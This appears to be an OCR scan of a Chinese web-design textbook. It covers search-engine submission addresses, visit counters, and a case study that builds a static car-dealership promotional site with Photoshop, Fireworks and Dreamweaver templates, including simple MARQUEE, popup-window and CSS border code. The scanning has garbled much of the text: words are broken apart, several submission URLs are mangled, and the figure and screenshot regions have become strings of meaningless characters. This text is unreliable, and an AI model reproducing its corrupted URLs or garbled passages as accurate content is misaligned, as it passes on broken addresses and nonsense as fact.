18.9.3 ”常用 搜索 引擎 网 站 的 登录 入 口 


搜索 引擎 的 登录 对 网 站 的 推广 有 重大 的 作用 ， 有 些 搜索 引擎 需要 在 网 站 上 填写 自己 网 站 的 信息 才 
会 被 搜索 引擎 收录 ， 有 一 些小 搜索 引擎 的 收录 对 网 站 的 推广 也 会 有 重大 的 作用 。 下 面 是 一 些 常用 搜索 
引擎 的 网 站 登录 入 口 。 
百度 免费 登录 入 口 : http://www.baidu.com/search/url submithtml。 

Google 免费 登录 入 口 : http://www.google.com/intl/zh-CN/add_url.html。 

搜狐 免费 登录 入 口 : http:/db.sohu.comy/regurlregform.asp?Step=REGFORM&cclass=。 

新 浪 免费 登录 入 口 : http://bizsite.sina.com.cn/newbizsite/docc/index-2jifu-09.htm。 

中 国 搜索 同盟 免费 登录 入 口 : http://service.chinasearch.com.cn/web/frontward/free/free_protocol.htm。 
网 络 奇兵 登录 入 口 : http://www.net7b.com/net7b_site/denglu/index.asp。 

千 度 免费 登录 入 口 : http://join.qiandu.com/。 


18.9.4 网 站 计数 器 的 使 用 


用 户 对 网 站 的 访问 次 数 是 可 以 用 数字 来 统计 与 量化 的 ， 这 就 是 网 站 的 计数 器 。 

在 制作 网 站 时 ， 可 以 在 网 站 程序 中 对 网 站 的 访问 进行 计数 ， 或 者 对 网 站 中 每 一 个 网 页 的 访问 分 别 
进行 计数 统计 。 

还 有 一 种 方法 是 申请 网 站 的 免费 计数 器 ， 这 些 计数 器 有 着 强大 的 计数 与 分 析 统 计 功 能 ， 可 以 详细 
地 记录 与 分 析 网 站 的 访问 情况 。 这 些 网 站 计数 器 常常 是 在 网 站 中 使 用 一 段 JavaScript 代码 ,用 JavaScript 
调用 的 方式 实现 网 页 的 计数 。 网 页 的 计数 功能 有 访问 次 数 统计 、 单 位 时 间 访 问 次 数 统计 、 访 问 地 区 统 
计 、 访 问 网 页 来 源 统计 、 访 问 搜索 关键 字 统 计 、 用 户 停留 时 间 等 功能 ， 这 些 数据 的 统计 对 网 站 的 设计 
有 着 重要 的 参照 意义 。 如 图 18-21 所 示 为 网 站 计数 器 的 访问 地 区 统计 功能 。 


EE XT - 


国 图 图 罗 图 加 加 


hl httpyfnswanzzcomjvymainphp?siteid=27995s=mai | 全 | 好 | X ES Bino D7"| 


| 去 十 大 学 中国结 长 广告 联盟 免费 网 站 流量 统计 芥 "* 园 * 卫 中 ”mp ss IROY 国 ”” 
最 近 抽 过 了 BT 7328 4557 23821 


来 中 茂名 kB: 3281 2111 1422 
来 分 天 HP19: 。 12241 7027 4832 
受 沪 夺 各 历史 最 高 : 。 96001 20161222) 27058 (3222 17735 pot0-1222 门 


站 入口 历史 累计 : 。 30082090 14940720 8758012 


查看 留言 (17) 
如 出 系统 


寺 或 人 @ Intemet | 保护 楼 志 甘 导 桓 ”及 100%6 ~ 


18-21 网 站 计数 器 的 访问 地 区 统计 功能 


机 从 与 网 站 建设 技术 让 


18.10 小 结 


宣传 和 推广 是 网 站 运行 的 一 个 重要 方法 和 过 程 ， 网 站 通过 宣传 和 推广 获得 点 击 量 ， 被 用 户 访问 和 
认可 。 网 站 的 很 大 一 部 分 价值 需要 通过 网 站 的 宣传 和 推广 手段 来 获取 ， 在 这 些 推广 方法 中 ， 可 以 是 免 
费 发 布 的 方式 ， 也 可 以 是 付费 竞价 推广 的 方式 。 

网 站 内 容 的 优化 也 是 网 站 推广 的 一 个 有 效 手段 ， 对 网 站 内 容 进行 针对 搜索 引擎 的 优化 可 以 得 到 很 
好 的 网 站 推广 效果 。 


第 4 篇 综合 案例 


第 19 章 设计 制作 公司 宣传 网 站 
第 20 章 设计 制作 招聘 求职 网 站 


第 | Os 


和音 豆 于 于 至 


设计 制作 公司 宣传 网 站 


网 咎 前 期 和 莱 刘 

向 科 网 下 页 面 

Dreamweaver 中 页 面 排版 制作 
给 网 页 琴 加 特效 


本 地 测 焉 及 发 布 上 传 


公司 宣传 网 站 是 一 种 常见 的 网 站 形式 ， 是 一 种 非常 优越 的 对 外 展示 平台 。 公 司 网 站 可 
以 及 时 、 迅 速 地 向 公众 展示 企业 形象 ， 发 布 产 品 信 息 ， 展 示 公 司 动 态 。 随 着 电子 商务 的 推 
广 和 普及 ， 公 司 宣传 网 站 对 公司 的 信息 化 建设 有 着 重要 的 作用 和 意义 。 

本 章 用 静态 网 站 的 方法 ， 建 立 一 个 车 辆 销售 公司 宣传 网 站 。 其 中 ， 对 页 面 美术 设计 和 
页 面 链接 的 构建 是 本 章 的 学 习 重 点 。 


在 


开始 
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19.1 网 站 前 期 策划 


进行 网 站 设计 时 ， 并 不 是 一 开始 就 进入 网 站 设计 阶段 ， 而 是 需要 先 完成 网 站 的 前 期 策划 工 


作 。 网 站 的 前 期 策划 工作 是 网 站 建设 过 程 中 一 个 必 不 可 少 的 阶段 ， 可 以 为 以 后 的 网 站 设计 做 好 整体 的 


规划 ， 


使 以 


后 的 工作 有 序 地 进行 。 


网 站 策划 需要 考虑 与 确定 以 下 内 容 : 


园 图 回回 加 加 加 


网 
网 
网 


站 的 功能 与 目的 

站 需要 表现 哪些 内 容 。 

站 的 主要 风格 与 色调 。 

站 中 有 多 少 网 页 与 主要 功能 模块 。 
站 的 主要 技术 实现 方法 。 

页 之 间 的 主要 链接 关系 。 

站 的 主要 素材 与 需要 准备 的 材料 。 


19.2 设计 网 站 页 面 


相对 于 动态 网 站 强大 的 管理 功能 和 丰富 的 内 容 来 说 ， 静 态 网 站 并 不 能 和 动态 网 站 一 样 具有 强大 的 
管理 功能 和 内 容 复杂 的 页 面 。 所 以 ， 静 态 网 站 更 应 该 把 设计 的 重点 放 在 页 面 的 美术 设计 上 。 静 态 网 站 
可 以 用 美观 的 页 面 、 丰 富 的 色彩 等 方法 来 体现 出 网 站 的 内 容 。 


19.2. 


| 


首页 的 设计 


确定 网 站 的 基本 内 容 与 思路 以 后 ， 即 可 设计 网 站 首页 的 效果 图 。 

网 站 的 首页 需要 突出 网 站 的 内 容 与 风格 ， 体 现 出 网 站 的 设计 理念 。 在 公司 宣传 网 站 中 ， 网 站 的 首 
页 应 该 突出 表现 网 站 的 产品 服务 与 企业 形象 。 

在 首页 效果 图 设计 时 ， 首 先 需要 划分 出 首页 不 同 的 功能 区 域 。 如 图 19-1 所 示 为 在 Photoshop CS6 


中 规划 网 站 的 首页 布局 。 

初步 规划 网 页 的 布局 以 后 ， 需 要 具体 设计 网 页 中 每 一 个 部 分 的 内 容 。 在 效果 图 设计 中 ， 需 要 考虑 
和 设计 以 下 内 容 : 

回 ”网 页 Logo 的 大 小 与 样式 。 

加 ”网 页 Banner 的 大 小 与 样式 。 

回 ”网 页 各 个 部 分 的 模块 搭配 。 

回 ”网 页 中 导航 条 的 位 置 与 样式 。 

回 ”网 页 中 其 他 链接 的 位 置 与 版 式 。 

回 ”网 页 各 个 模块 的 版 式 。 

如 图 19-2 所 示 是 针对 这 些 部 分 进行 设计 的 效果 图 。 


了 | 过 F 全 武汉 东风 汽车 销售 有 限 公司 国名 图 
[Er | 天 rs Om 
19-1 初步 规划 网 站 首页 的 布局 19-2 ”网 页 效果 图 


完成 网 页 效果 图 以 后 ， 将 效果 图 保存 为 JPG 格式 的 图 片 。 保 存 的 图 片 质量 要 求 较 高 ， 还 需要 使 用 
Fireworks 进行 优化 。 


19.2.2 ” 切 图 并 输出 


制作 好 的 效果 图 ， 还 需要 经 过 Fireworks 切 图 ， 才 能 制作 成 网 页 。Photoshop 设计 出 的 只 是 网 页 的 
效果 图 ， 是 不 能 直接 用 来 制作 网 页 的 。 

用 Fireworks 打开 设计 好 的 效果 图 ， 对 网 页 的 各 个 部 分 进行 切片 。 

在 切片 时 ， 要 注意 各 个 版 块 的 合理 分 布 ， 同 一 内 容 最 好 切割 到 同一 个 图 片上 ， 如 图 19-3 所 示 。 

完成 网 页 的 切 图 ， 在 进行 导出 网 页 之 前 ， 需 要 设置 图 片 的 保存 质量 。 在 “优化 ”面板 中 对 图 片 的 
输出 质量 进行 设置 ， 如 图 19-4 所 示 。 


全民 汉 东 风 汽 车 销售 有 限 公司 。 | “全 的 图 


A ET 


CE EE 


图 19-3 用 Fireworks 对 网 页 进行 切 图 19-4 用 Fireworks 对 网 页 进行 优化 设置 


@_ 
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选择 “文件 ”| “导出 ”命令 ， 弹 出 “导出 ”对 话 框 ， 即 可 把 切 图 的 网 页 导出 。 在 “导出 ”下 拉 
列表 框 中 选择 “HTML 和 图 像 ”选项 ， 并 选中 “将 图 像 放 入 子 文件 夹 ” 复 选 框 ， 如 图 19-5 所 示 。 


jrNL00; [导出 JGWL 文件 


切片 ); 无 


页 面 ; [当前 页 面 唱 
仅 已 选 切片 于) 仅 当前 状态 
包括 无 切片 区 域 如 ) 可 将 图 像 放 入 子 文件 夫 O) 
ie 


图 19-5 导出 网 页 


Photoshop 制作 的 效果 图 经 过 Fireworks 的 切 图 与 导出 以 后 ， 就 成 了 可 以 在 浏览 器 中 浏览 的 网 页 。 

运行 导出 的 网 页 , 效果 如 图 19-6 所 示 。 因为 未 导出 没有 切片 的 部 分 ， 所 以 网 页 中 少 了 文字 的 部 分 ， 
这 些 文字 内 容 需 要 用 Dreamweaver 再 次 排版 。Photoshop 设计 与 Fireworks 切 图 没有 完成 的 版 面 布局 和 
网 页 内 容 等 工作 需要 在 Dreamweaver 中 完成 。 


{ 武汉 东风 汽车 销售 有 限 公司 人 
首 页 || 企业 简介 | | 新 闻 资 讯 || 产品 展示 || 企业 荣 营 || 党 销 策 咯 || 人 才 招聘 || 考 户 留言 || 会 员 中 心 || 联系 我 们 


ee 


本 让 公告: 晤 新 六 


口 新 品 展示 


图 19-6 ”Fireworks 导出 网 页 的 运行 效果 


19.3 在 Dreamweaver 中 进行 页 面 排版 制作 
网 页 效果 图 经 过 Fireworks 切割 与 导出 以 后 ， 即 可 在 Dreamweaver 中 进行 布局 和 排版 。 如 图 19-7 
所 示 为 经 过 了 Dreamweaver 排版 以 后 的 网 页 效果 图 片 。 
{ 武汉 东风 汽车 销售 有 限 公司 ©@©®©® 


全 业 邮 局 入 给 中 文 Endlish 


1 首页 | 企业 形象 | 领导 到 苹 | 最 新 产品 | 销售 网 丫 | 此 后 服务 | 业务 押 六 | 老外 市 场 | 公司 招聘 | 联系 方式 | 


EE 


c= J J A 2 
图 19-7 经 过 Dreamweaver 排版 以 后 的 网 页 


在 Dreamweaver 中 排版 网 页 需要 完成 以 下 工作 : 

确定 网 站 导航 栏 的 每 一 个 链接 的 名 称 与 链接 URL。 
首页 上 链接 的 内 容 与 链接 URL。 

链接 栏 的 内 容 。 

完成 首页 样式 表 的 制作 与 设置 。 

首页 上 新 闻 内 容 的 布局 与 排版 。 
首页 上 产品 的 图 片 与 内 容 。 

版 权 栏 的 内 容 。 


19.3.1 创建 本 地 站 点 


在 进行 网 站 开发 时 ， 站 点 与 模板 技术 可 以 大 大 地 减 小 网 页 中 重复 的 工作 。 使 用 模板 可 以 以 很 少 的 
排版 完成 一 个 网 页 的 设计 。 

选择 “站 点 ”| “新 建站 点 ”命令 ， 在 弹出 的 “站 点 设置 对 象 ”对 话 框 中 设置 新 建 的 站 点 ， 新 建 
站 点 的 名 称 为 “公司 宣传 网 站 ”。 网 站 的 名 称 填写 “公司 宣传 网 站 ”，URL 地 址 可 以 填写 申请 到 的 域 
名 的 地 址 ， 也 可 以 填写 本 机 IIS 访问 这 个 站 点 的 URL 地 址 。 设置 好 本 地 工作 目录 , 单 击 “ 保 存 ” 按 钮 ， 
就 建立 了 一 个 本 地 工作 站 点 。“ 站 点 设置 对 象 ”对 话 框 如 图 19-8 所 示 。 


的 


办 办 办 办 多 凶 多 
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aver 站 点 是 网 站 中 使 用 的 所 有 文件 和 资源 的 集合 。 Dreamweaver 


有 


您 可 以 在 此 处 为 Dreamweayer 站 点 选择 本 地 文件 夫 和 名 称 。 
a 1] 


本 地 外 点 文件 夹 : |E:\esxc\ 


19-8 创建 本 地 站 点 
19.3.2 ”创建 二 级 模板 页 面 


在 创建 模板 网 页 时 ， 需 要 先 对 网 页 的 内 容 进行 分 析 。 网 页 中 很 多 内 容 是 相同 的 ， 例 如 ， 一 个 网 站 
中 所 有 的 Logo、Banner、 导 航 条 、 版 权 区 都 可 以 是 完全 相同 的 ， 只 是 某 些 网 页 的 内 容 部 分 有 些 不 同 

可 以 把 网 站 中 相同 的 部 分 作为 网 站 的 模板 网 页 ， 需 要 更 改 的 区 域 作为 模板 网 页 的 可 编辑 区 域 。 在 
对 可 编辑 区 域 进行 编辑 以 后 就 是 一 个 新 网 页 ， 而 不 必 考 虑 模板 中 的 其 他 内 容 。 

在 Dreamweaver CS6 中 选择 “文件 ”| “新 建 ”命令 , 在 弹出 的 “新 建文 档 ” 对 话 框 中 选择 HTML 
模板 ， 单 击 “ 创 建 ” 按 钮 ， 即 可 新 建 一 个 模板 网 页 ， 如 图 19-9 所 示 。 


划 | 
页 面 类 型 布局 
和 TL E> 
Dsss -Fm ee e+ 
LT (各 页 ) 1 列国 证， 居中， 标题 乔 主 
国 > 下 xs (HE) 1 列 洁 态 , 居中 
号 市 1 列 让 态 ， 居 中 ， 标 蜂 和 由 主 i 
hetionseript 2 3 证 , 右 则 
3 2 到 国定 ， 右 树 栏 、 标 是 和 用 主 
Tsarist 2 ENE es 
2 国定 ， 、 标 题 和 
国 em 时 于 2 列 衣 态 , 右 则 位 
2 列 认 态 ， 右 便 栏 、 标 县 和 l 主 
i SP Jarsseript 2 3 EE 
| 2 列 六 态 ， 左 风 柱 、 标 是 和 和 主 | Prevesver 模板 文档 
ASP. NET C# 3 mE 
a 笋 , 二 .本 太 3 有 本 证 , 标 四 入 
ColdFusion 3 列 店 态 
号 Coldrosion 组 件 3 列 让 态 ， 标 是 和 类 主 
sp er EGGLTO ESG 二 
re mMLs; 3 列国 定 ， 标题 入 布局 css 位 置 -NSSXEK 国 


19-9 在 站 点 中 新 建 一 个 模板 网 页 


aas mag 


可 以 把 首页 中 的 所 有 内 容 全 部 复制 到 模板 网 页 中 ， 再 删除 二 级 网 页 中 可 能 更 改 的 网 页 主要 区 域 ， 
然后 在 网 页 主要 区 域 中 插入 一 个 可 编辑 区 域 模板 对 象 ， 如 图 19-10 所 示 。 
最 后 保存 模板 。 在 保存 模板 时 ， 需 要 选择 模板 所 在 的 站 点 和 对 模板 进行 命名 ， 如 图 19-11 所 示 。 


站 点 [公司 宣传 网 站 a 


现存 的 模板 : | 6 股 有 模板 ) 


指 述 : 产品 网 页 
另存 为 : preduet 


图 19-10 在 模板 网 页 中 插入 一 个 可 编辑 区 域 图 19-11 保存 网 页 模板 
19.3.3 ”利用 模板 制作 其 他 网 页 


利用 模板 建立 网 页 时 ， 只 需要 更 改 模板 中 已 经 设 定 的 可 编辑 内 容 ， 即 可 完成 新 网 页 的 编辑 。 并且， 
当 网 站 的 模板 进行 编辑 操作 时 ， 会 自动 更 改 网 站 中 所 有 使 用 了 这 个 模板 的 网 页 ， 这 样 有 利于 提高 网 站 
设计 速度 。 
在 “新 建文 档 ” 对 话 框 中 选择 “模板 中 的 页 ”选项 ， 再 在 显示 的 站 点 目录 中 选择 工作 的 站 点 和 站 
点 模板 ， 就 可 以 利用 已 有 的 网 页 模板 新 建 网 页 ， 如 图 19-12 所 示 。 
FEEE 到 


站 点 站 点 "公司 宣传 网 站 "的 模板 : 


二 a 
旧 空 折 页 EN 人 人 Yntitled-l 
EE 


[和 站 R 布 


模板 中 的 页 


BD hr 
其 他 


文档 类 型 TO 


克 当 模板 次 计时 更 新 页 面 0) 


19-12 根据 已 有 模板 建立 网 页 


在 利用 模板 制作 网 页 时 ， 只 需要 编辑 网 页 中 模板 以 外 需要 编辑 的 内 容 ， 如 图 19-13 所 示 ， 模 板 中 
已 有 的 内 容 是 不 需要 编辑 的 ， 只 需要 编辑 网 页 中 与 模板 不 同 的 内 容 。 


的 
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EE 本 和 和 ,和 


19-13 在 网 页 中 利用 模板 进行 编辑 


如 果 这 时 再 编辑 模板 网 页 ， 则 已 有 的 使 用 这 个 模板 的 所 有 网 页 都 需要 相应 的 更 新 。 当 编辑 模板 以 
后 保存 时 ， 从 此 模板 创建 的 网 页 一 般 会 自动 更 新 。 也 可 选择 “修改 ”| “模板 ”| “更 新 页 面 ”命令 ， 
此 时 更 新 需要 更 新 的 文件 ， 如 图 19-14 所 示 。 


查看 中: | 整个 站 点 | | 公 司 宣传 网 站 了 开始 6) 


更 新 : 占 计 页 目 吕 

园 模板 CD) 

回 呈 未 记录 00 
术 态 


图 19-14 ”通过 网 页 模板 更 新 网 站 


运行 通过 模板 编辑 出 的 网 页 ， 效 果 如 图 19-15 所 示 。 网 页 中 的 框架 内 容 与 模板 是 相同 的 ， 只 是 模 
板 中 的 可 编辑 内 容 经 过 了 更 改 。 
全 武汉 东风 汽车 销售 有 限 公司 四 的 图 
东风 全 业 邮局 入 锋 中 文 。 Engish 
| 首页 | 企业 形象 | 领导 致辞 | 最 新 产品 | 销售 网 络 | 售后 服务 | 小 冬 深 迪 海外 市 场 | 公司 招聘 | 联系 方式 | 


和 


公司 生 攻 生产 动 大 
信和 村 可: 二 OO 五 年 + 月 大 
用 户 二 内 容 公司 如 吉 生 产 动 春 
os a 
全 路 | 取消 Et = 
D ran 
也 吉 重 车 * 
老生 运输 车 > 
莹 重工 程 车 
过 枉 3 请 车 
工程 作业 车 


19-15 ”通过 模板 编辑 出 的 网 页 效果 
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19.4 给 网 页 添加 特效 


网 页 上 有 时 可 能 需要 弹出 对 话 框 、 滚 动 条 、 弹 出 广告 窗口 等 特效 ， 这 些 特 效 可 以 极 大 丰富 网 站 页 
面 的 友好 性 。 网 站 特效 可 以 使 用 Flash、JavaScript、GIF 动画 等 内 容 完 成 。 

使 用 JavaScript 脚本 交互 是 网 页 特效 的 常用 形式 。 借 助 于 JavaScript 针对 网 页 对 象 的 编程 ， 可 以 实 
现 功 能 强大 的 网 页 交互 功能 。 


19.4.1 滚动 公告 


滚动 公告 指 的 是 让 一 些 网 页 内 容 在 一 个 小 范围 内 循环 向 某 个 方向 滚动 ， 常 用 于 网 站 公告 、 新 闻 列 
表 等 内 容 。 使 用 滚动 条 可 以 使 网 页 页 面 更 加 紧凑 简单 。 

可 以 使 用 JavaScript 的 相关 鼠标 事件 函数 来 控制 滚动 条 的 滚动 。 当 鼠标 移动 到 滚动 区 域 时 停止 滚 
动 ， 移 出 滚动 区 域 时 继续 滚动 。 例 如 ， 以 下 代码 就 是 实现 一 个 公告 的 滚动 。 


<html> 

<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<title> 滚 动 条 示例 </title> 

</head> 

<body> 


<MARQUEE onmouseover=this.stop() onmouseout=this.start() scrollAmount=1 
scrollDelay=10 direction=up width=300 height=300> 
<div align="center"> 公司 最 新 公告 : <br> 发 布 于 2011 年 10 月 15 日 <br><br> 
<img src="g1.jpg" width="184" height="125"></div> 
</MARQUEE> 
</body> 
</html> 


滚动 内 容 不 仅 可 以 是 文字 ， 也 可 以 是 表格 、 图 片 等 内 容 。 在 滚动 区 域内 的 所 有 内 容 都 会 同时 向 一 
个 方向 滚动 。 以 上 代码 的 运行 效果 如 图 19-16 所 示 。 


19-16 ”网 页 中 的 滚动 公告 
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滚动 条 <MARQUEE> 标 签 的 相关 属性 如 下 。 

回 scrollAmount: 滚动 条 的 滚动 速度 。 数 值 越 大 ， 滚 动 速度 越 快 。 

scrollDelay: 滚动 条 的 滚动 延迟 。 数 值 越 大 ， 滚 动 条 的 跳动 越 明 显 。 

回 direction: 滚动 条 的 滚动 方向 。 有 left、up、right、down 4 种 值 ， 分 别 实现 向 左 、 向 上 、 向 右 、 
向 下 4 种 方向 的 滚动 。 

width: 滚动 条 的 宽度 。 

回 “height: 滚动 条 的 高 度 。 


19.4.2 制作 弹出 窗口 页 面 


弹出 窗口 指 的 是 在 网 页 打开 时 ， 会 自动 弹出 另外 一 个 小 窗口 ， 小 窗口 可 能 是 公告 、 广 告 、 网 站 说 
明 等 内 容 。 在 企业 网 站 中 ， 可 以 用 弹出 窗口 的 方法 发 布 网 站 的 最 新 信息 。 

弹出 窗口 最 常用 的 方法 是 在 网 页 的 <BODY> 标 签 中 加 入 一 个 onLoad 事件 ， 用 window.open() 方 法 
弹出 一 个 窗口 。 代 码 如 下 : 

<body 

onLoad="window.open(aa.htm',ad',toolbar=yes,location=yes,status=yes,menubar=yes,scrollbars=yes,resizable= 

yes,width=300,height=300')"> 

在 打开 含有 这 句 代码 的 网 页 时 ， 将 自动 弹出 一 个 窗口 ， 窗 口 的 页 面 是 aa.htm。 网 页 运行 效果 如 
图 19-17 所 示 。 


LS 网 eewene -1 [x [ES 


你 好 ”这 个 是 弹出 窗口 
广告 


| 本 计算 机 | 保护 模式 : 禁 寿 三 > 态 100% ~ 


19-17 ”网 页 弹出 窗口 


JavaScript 的 函数 window.open(URL,NAME,ABOUT) 有 3 个 参数 , 分 别 表 示 弹 出 网 页 的 URL 地 址 、 
弹出 窗口 的 名 称 、 弹 出 窗口 的 属性 特征 。 
加 ”URL 可 以 是 本 网 站 的 相对 路 径 ， 也 可 以 是 Intemet 上 的 一 个 详细 地 址 。 
NAME 是 用 来 标识 弹出 窗口 的 名 称 ， 当 再 次 弹出 窗口 时 ， 可 以 用 这 个 名 称 来 判断 是 新 建 一 个 
弹出 窗口 还 是 覆盖 以 前 的 弹出 窗口 。 


页 制作 与 网 站 建设 技术 详解 


回 ABOUT 是 用 来 描述 弹出 窗口 的 一 些 特征 ， 相 关 标 识 如 表 19-1 所 示 。 
表 19-1 弹出 窗口 的 ABOUT 属性 


属性 标识 含义 
width 弹出 窗口 的 宽度 
height 弹出 窗口 的 高 度 
toolbar 弹出 窗口 是 否 有 工具 条 。 有 yes 或 no 两 种 值 
status 弹出 窗口 是 否 有 状态 栏 
menubar 弹出 窗口 是 否 有 菜单 栏 
scrollbars 弹出 窗口 在 需要 滚动 条 时 是 否 自动 滚 出 滚动 条 
Tesizable 弹出 窗口 是 否 可 以 调整 大 小 
location 弹出 窗口 是 否 有 地 址 栏 


19.5 本 地 测试 及 发 布 上 传 


网 页 的 本 地 测试 包括 内 容 检查 与 链接 的 本 地 测试 。 网 站 设计 完成 以 后 ， 需 要 查看 网 页 中 的 内 容 是 
不 是 符合 设计 要 求 ， 并 更 改 网 页 中 的 错误 。 

Dreamweaver 提供 了 功能 强大 的 链接 测试 功能 。 选 择 “站 点 ”| “检查 站 点 范围 的 链接 ”命令 ， 
即 可 对 站 点 内 的 所 有 链接 进行 测试 。 链 接 测 试 结果 如 图 19-18 所 示 。 静 态 网 站 中 的 链接 关系 常常 很 复 
杂 ， 容 易 产生 错误 。 


ij Pi | 
显示 (5): | 断 掉 的 几 接 | ( 捞 接 文件 在 本 地 碘 盘 没有 找到 ) 

> [文件 一 断 撞 939 接 | 

[= /admin_news_addasp admin_news_save.asp 

加 | 村/daohangasp list.aspNid=<%= rs("id") %> 

本 /daohang.asp aboutus.asp 

本 /mplasp Comnecions1aaaaaa.a5D 

本 ftmp2.asp Connections/aaaaaa.asp 


总 失 30 个 ， 如 个 HTML，20 个 蚤 立 文件 。 总 失 23 个 钳 接 ，19 个 正确 ，5 个 断 按 ，5 个 外 部 捞 接 
19-18 ”检查 站 点 范围 内 的 链接 


19.6 常见 问题 


在 静态 网 页 制作 时 ， 需 要 注意 网 页 切 图 、Dreamweaver CS6 排版 、 网 页 中 样式 使 用 等 一 些 常用 的 
技巧 。 这 些 是 网 页 设计 的 基础 能 力 ， 需 要 在 这 些 方面 做 大 量 的 学 习 和 理解 。 


19.6.1 网 页 切 图 与 Dreamweaver 排版 的 关系 


网 页 中 的 效果 ， 特 别 是 不 规则 的 图 案 效果 ， 是 需要 用 图 片 来 表现 出 来 的 。 用 Dreamweaver 只 能 通 
过 表格 布局 等 方式 ， 对 表格 的 背景 或 边框 进行 设置 ， 实 现 简单 的 颜色 效果 。 因 此 ， 网 页 中 的 效果 必须 


@ 
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用 Fireworks 切 图 的 方式 来 实现 。 

但 是 ， 当 网 页 中 需要 的 这 种 效果 过 多 时 ， 就 会 产生 很 多 切割 的 图 片 ， 这 时 可 以 使 用 背景 图 片 的 方 
式 。 网 页 中 表格 的 背景 图 片 是 反复 排列 布 满 整 个 区 域 的 。 

如 图 19-19 所 示 的 3 个 标题 的 背景 玻璃 效果 可 以 用 3 个 图 片 来 实现 ， 但 更 好 的 切片 方法 是 用 背景 
来 实现 。 在 切 图 时 ， 先 把 3 个 标题 切割 成 大 小 相同 的 图 片 ， 然 后 将 其 中 一 个 图 片 的 单一 颜色 区 域 切割 
成 一 个 很 小 的 图 片 。 在 Dreamweaver 中 删除 原来 的 图 片 ， 将 切割 的 小 图 片 作为 单元 格 背 景 ， 再 输入 文 
字 与 切割 插入 小 装饰 图 片 。 这 样 即 与 切割 插入 大 图 片 有 相同 的 效果 了 ， 却 使 用 了 很 少 的 图 片 。 用 这 种 
方法 ， 可 以 大 大 减少 网 页 中 图 片 的 数量 和 图 片 的 大 小 ， 有 利于 提高 网 页 的 性 能 。 


口 。 最 新 新 闻 是 新 公告 
公司 新 闻 行 4 二 
公司 新 闻 1 行 da 坊 1 
公司 新 闻 2 Wb 老 2 
公司 新 闻 3 ab3 
公司 新 闻 4 行业 友 坊 4 
公司 新 闻 5 行 da 坊 5 
ed | 
口 最 新 产品 
产品 产品 产品 产品 
口 “最 新 产品 
最 新 产品 最 新 产品 最 新 产品 最 新 产品 
最 新 产品 最 新 产品 最 新 产品 最 新 产品 
最 新 产品 最 新 产品 最 新 产品 最 新 产品 
最 新 产品 最 新 产品 最 新 产品 最 新 产品 


19-19 ”网 页 中 效果 的 表现 方法 
19.6.2 ”网 页 中 背景 与 细节 的 表现 技巧 


网 页 中 的 效果 需要 用 图 片 来 表示 ， 但 会 在 网 页 中 产生 大 量 的 图 片 ， 不 利于 网 页 的 布局 与 排版 ， 可 
以 用 其 他 方法 实现 网 页 的 效果 。 
回 ”规则 边框 的 效果 ， 可 以 用 表格 或 文本 的 边框 来 表示 ， 这 样 可 以 减少 图 片 的 数量 。 利 用 CSS， 
可 以 设置 出 美观 的 边框 效果 而 不 必 使 用 图 片 。 如 图 19-20 所 示 ， 对 文本 与 表格 使 用 边框 的 样 
式 ， 就 可 以 有 很 好 的 边框 效果 。 这 些 效果 可 以 不 用 图 片 实现 。 
2 下 2 
这 本 


图 19-20 ”使 用 文本 和 表格 的 边框 效果 
实际 上 ， 这 一 效果 是 在 CSS 样式 表 中 对 这 一 样式 分 别 描述 不 同方 向 的 边框 线 型 来 实现 的 。 相 关 的 


CSS 代码 如 下 : 


@ 


.line { 
font-size: 16px; 
border-top-width: medium; 
border-right-width: medium; 
border-bottom-width: medium; 
border-left-width: medium; 
border-top-style: dashed; 
border-right-style: double; 
border-bottom-style: ridge; 
border-left-style: dotted; 
border-top-color: #000000; 
border-right-color: #000000; 
border-bottom-color: #000000; 
border-left-color: #000000; 


回 ”用 来 表现 背景 效果 的 图 片 ， 应 该 合理 切片 ， 而 且 常 常 是 布 满 在 整个 背景 上 的 。 背 景 图 片 不 能 
很 大 ， 切 割 小 图 片 有 利于 下 载 速度 。 


197 ”站 结 


公司 宣传 网 站 是 最 常用 的 网 站 形式 。 企 业 可 以 通过 网 站 来 展示 企业 的 产品 与 形象 。 公 司 网 站 的 设 
计 ， 重 点 要 求 网 页 的 版 面 效果 与 网 页 内 容 。 

本 章 讲述 了 静态 公司 宣传 网 站 的 制作 。 静 态 网 站 并 没有 要 求 强大 的 交互 功能 ， 所 有 设计 的 重点 应 
该 是 网 页 的 色彩 、 布 局 和 内 容 。 通 过 个 性 化 有 创意 的 设计 ， 对 企业 的 产品 与 形象 进行 表现 ， 使 用 户 对 
企业 的 产品 与 形象 得 到 认可 。 
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设计 制作 招聘 求职 网 站 
i 
网 下 风格 定 伍 
和 制作 麦客 结构 页 面 
个 人 会 砚 填 写 和 资料 
企业 会 砚 填 写 和 资料 
会 员 简 历 有 的 显示 
了 本 地 测 臣 及 上 传 发 布 


豆 豆 于 于 至 


招聘 求职 网 站 是 一 种 常见 的 网 站 形式 。 作 为 学 习 案 例 ， 招 聘 求职 网 站 中 包括 了 信息 发 
布 、 会 员 注 册 、 会 员 管 理 、 会 员 信 息 等 不 同 功能 。 在 制作 这 种 网 站 有 时， 需要 灵活 使 用 静态 
网 页 设计 与 网 站 程序 编写 等 不 同 的 知识 ， 建 立 比 较 复杂 的 数据 库 与 程序 。 

招聘 求职 网 站 需要 把 网 站 的 页 面 效 果 与 网 站 的 程序 功能 两 个 方面 作为 重点 。 拥有 美观 
的 网 页 ， 才 可 能 被 用 户 所 接受 ; 而 强大 的 用 户 功 能 ， 才 可 以 更 好 地 与 用 户 实现 数据 交互 
完成 招聘 求职 的 工作 。 


网 页 制作 与 网 站 建设 技术 详解 


20.1 网 站 风格 定位 


在 设计 网 站 之 前 ， 需 要 对 网 站 有 一 个 整体 的 定位 。 网 站 的 定位 包括 确定 网 站 功能 、 规 划 网 站 效果 、 
网 站 的 Logo 与 Banner 设计 等 工作 。 


20.1.1 网 站 的 主要 功能 


一 个 招聘 求职 网 站 ， 应 该 是 一 个 专业 应 用 型 的 网 站 ， 所 面 对 的 对 象 ， 应 该 是 企业 的 招聘 者 与 求职 
的 会 员 。 所 以 ， 网 站 的 风格 应 该 是 清新 自然 的 颜色 与 大 众 化 企业 化 的 网 站 内 容 ， 使 用 太 个 性 的 颜色 与 
风格 是 不 能 很 好 发 挥 控 制 的 。 

招聘 求职 网 站 的 功能 ， 应 该 围绕 招聘 与 求职 来 进行 ， 针 对 的 对 象 分 别 是 企业 与 会 员 。 这 两 方面 的 
功能 都 需要 通过 编号 设计 出 强大 的 功能 。 

